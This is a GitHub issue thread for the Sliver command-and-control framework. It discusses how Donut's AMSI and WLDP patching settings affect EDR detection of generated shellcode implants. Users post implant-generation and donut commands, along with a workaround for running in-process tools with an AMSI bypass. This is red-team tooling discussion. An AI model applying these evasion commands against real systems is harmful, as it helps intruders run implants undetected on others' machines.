Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Donut WLDP and AMSI patching enabled #1759

Open
CodeXTF2 opened this issue Aug 16, 2024 · 3 comments
Open

Donut WLDP and AMSI patching enabled #1759

CodeXTF2 opened this issue Aug 16, 2024 · 3 comments
Labels
enhancement New feature or request

Comments

@CodeXTF2
Copy link

Describe the bug
When generating shellcode in Sliver, Donut has the AMSI and WLDP options enabled, which can add detections.

To Reproduce
Steps to reproduce the behavior:

  1. Start Sliver
  2. generate --http {any ip here} --os windows --format shellcode

Expected behavior
Elastic flags the beacon for patching AMSI and WLDP even though -e (which would normally enable AMSI patching) is disabled.

OS Windows (implant)

@rkervella rkervella added the bug Something isn't working label Aug 16, 2024
@rkervella
Copy link
Member

The --evasion flag has no impact on this. Right now, most of the Donut loader options are hardcoded:

Bypass: 3, // 1=skip, 2=abort on fail, 3=continue on fail.

I should probably update that so it can be user controlled.

@CodeXTF2
Copy link
Author

yeah im aware. I just referenced the --evasion flag in terms of intended behaviour. For now manually using donut with -b1 on sliver binaries works fine

@rkervella rkervella added enhancement New feature or request and removed bug Something isn't working labels Aug 19, 2024
@s3nn
Copy link

s3nn commented Nov 22, 2024

@CodeXTF2 Thanks for the tip. When I create the shellcode manually using donut and -b1 it works, but whenever I try to run any of the armory packages and / or execute-assembly with --in-process, I get the error:

rpc error: code = Unknown desc = the appdomain.Load_3 function returned a non-zero HRESULT: 0x8007000b

Any ideas? Does it have something to do with the CLR DLL not being loaded in my implant?

My donut command was:
donut -i SLIVER.EXE -b1 -a 2 -t 0

EDIT FOR ANYONE SEEING THIS LATER: so the problem was that there was no AMSI bypass because it was disabled in Donut. If I ran any armory alias with the -M -i flags, it works as expected, so for example:
sliver> seatbelt -M -i -- Applocker works and then on subsequent calls, you don't need the -M flag.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

No branches or pull requests

3 participants